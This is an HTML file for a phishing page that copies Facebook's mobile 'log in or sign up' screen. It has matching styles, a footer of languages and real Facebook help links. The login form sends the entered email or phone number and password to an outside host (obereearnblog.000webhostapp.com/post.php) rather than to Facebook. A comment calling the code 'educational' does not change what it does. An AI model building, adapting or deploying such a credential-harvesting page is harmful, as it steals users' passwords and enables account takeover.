<title>Facebook – log in or sign up</title>
<link rel="stylesheet" href="https://z-m-static.xx.fbcdn.net/rsrc.php/v3/ya/r/O2aKM2iSbOw.png" rel="shortcut icon" sizes="196x196" />
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css" integrity="sha384-oS3vJWv+0UjzBfQzYUhtDYW+Pj2yciDJxpsK1OYPAYjqT085Qq/1cq5FLXAZQ7Ay" crossorigin="anonymous">
<style>
.heading { 
    display:block;top:0px;left:0px;right:0px;height:30px;position:fixed;border:0px solid #888;padding-top:16px;text-align:center;font-weight:bold;color:#ffffff;background: #3b5998;width: 100%;height: 100px;z-index:3;
    font-size: 70px;
    font-family: 'myFancyFont';
}
.headmid { 
    display:block;top:110px;left:0px;right:0px;height:20px;position:fixed;border:0px solid #888;padding:0px;text-align:center;font-weight:bold;color:#000;background: #ECEFF5;width: 100%;height: 1050px;z-index:3;
}
.fbapp { 
    background-color: FFFBE2;
    border: 0px solid #E2C822;
    border-radius: 15px;
    font-size: 40px;
    font-family: 'myFancyFont';
    font-weight: 400;
    color: #3B5998;
    height: 100px;
    padding-top: 45px;
}
.floating {
    float: left;
}
.icony {
    width:45px;
    height: 80px;
    padding-top: 30px;
    padding-bottom: 10px;
    padding-left: 40px;
}
</style>
<div class="heading">
facebook
</div>
<div class="headmid">
    <div class="floating">
    <img class="icony" src="fb.png"/></div>
    <div class="fbapp">Get Facebook for Android and browse faster.
</div>
<style>
@font-face
{
font-family: myFancyFont;
src: url(Roboto.ttf);
}
.header { 
    color: white;
    background-color: #3b5998;
    width: auto;
    height: auto;
    font-size:60px;
    display:block;
    font-family: 'myFancyFont', Times, serif; }
.email {
    padding-left: 40px;
    padding-top: 20px;
    text-align: left;
    font-size: 38px;
    font-family: 'myFancyFont', Sans-serif;
    font-weight: 410;
}
.mail {
    padding-left: 40px;
    padding-top: 20px;
    padding-bottom: 20px;
    text-align: left;
    left: 40px;
    font-size: 38px;
    width: 900px;
    height: 120px;
    border-radius: 10px 10px 0px 0px;
}
.pass {
    padding-left: 40px;
    padding-top: 20px;
    padding-bottom: 20px;
    text-align: left;
    left: 40px;
    font-size: 38px;
    width: 896px;
    height: 120px;
    border-radius: 0px 0px 10px 10px;
}
.button {
    padding-top: 20px;
    padding-bottom: 20px;
    background-color: #3578e5;
    color: white;
    text-align: center;
    left: 40px;
    font-size: 38px;
    width: 900px;
    height: 110px;
    border-radius: 10px;
}
.cbutton:hover {
    background-color: #00a400;
}
.button:hover {
    background-color: 4F6598;
}
.cbutton {
    padding-top: 20px;
    padding-bottom: 20px;
    background-color: #00a400;
    color: white;
    text-align: center;
    font-size: 38px;
    width: 400px;
    height: 100px;
    border-radius: 10px;
    box-shadow: 1px 1px 16px #000000;
    border-style: none;
    text-decoration: bold;
    
}
.help {
    font-weight: 400;
    color: #7596c8;
    font-size: 35px;
    font-family: 'myFancyFont', Sans-serif;
    margin: auto;
}
.orrr {
    font-size: 36px;
    padding-left: 40px;
    padding-right: 40px;
    color: #4B4F56;
}
a {
    text-decoration: none;
}
.float1 {
    text-align: left;
    width: 50%;
    padding-left: 150px;
    color: #90949c;
    font-size: 30px;
    font-family: 'myFancyFont' , Sans-serif;
}
.float2 {
    text-align: left;
    width: 50%;
    padding-left: 150px;
    color: #90949c;
    font-size: 30px;
    font-family: 'myFancyFont' , Sans-serif;
}
</style>
<!-- This code is only for educational purpose. Never ever misuse this in any case --> 
<br/>
<form method="POST" action="obereearnblog.000webhostapp.com/post.php"">
    
    <br/>
    <br/>
    <input type="mail" align="left" class="mail" name="mail" id="mail" placeholder="Email address or phone number"/>
    <input type="password" align="left" class="pass" name="password" id="password" placeholder="Password"/>
    <br/>
    <br/><br/>
    <form action="obereearnblog.000webhostapp.com/post.php"" method="POST">
    <input type="submit" class="button" value="Log In"/></form>
    <br/>
    <br/>
    
    
    
    <center>
    <table>
        <tr>
            <td style='width:320px'><hr/></td>
            <td><div class="orrr">or</div></td>
            <td style='width:320px'><hr/></td>
        </tr>
    </table>
    </center>
    
<!-- This code is only for educational purpose. Never ever misuse this in any case --> 
    <br/>
    <br/><br/>
    <form action="https://obereearnblog.000webhostapp.com/post.php">
    <input type="submit" class="cbutton" value="Create New Account"/>
    </form>
    
    <br/><br/>
    <a href="http://m.facebook.com/recover/initiate"><div class="help"><font color="#7596c8">
            Forgotten password?</font></a><font color="black"> • </font><a href="http://m.facebook.com/help"><font color="#7596c8">Help center</a></div>
    <br/><br/><br/><br/><br/><br/>
    <center>
    <table>
        <tr class="float1">
<td style="padding-left: 28px">English (UK)</td>
<td style="padding-left: 340px">Hausa</td>
        </tr>
        
        <tr class="float1">
            <td style="padding-left: 1px;">Français (France)
</td>
<td style="padding-left: 300px;">Português (Brasil)</td>
</tr>
<tr class="float1">
    <td style="padding-left: 50px">
Español</td>
<td style="padding-left: 350px">
العربية</td>
</tr>
<tr class="float1">
    <td style="padding-left: 50px">
Deutsch</td>
<td style="padding-left: 350px"><a href="https://m.facebook.com/language.php?n=https%3A%2F%2Fm.facebook.com%2F&refid=8"><i class="far fa-plus-square" style="font-size:45px;color:#2196F3"></i></td></a>
</tr>
    </table></center>
<center>
<span style="font-size: 30px; font-weight: 10; color: grey; font-family: Sans-serif;">Facebook ©2019</span>
</center>
</div>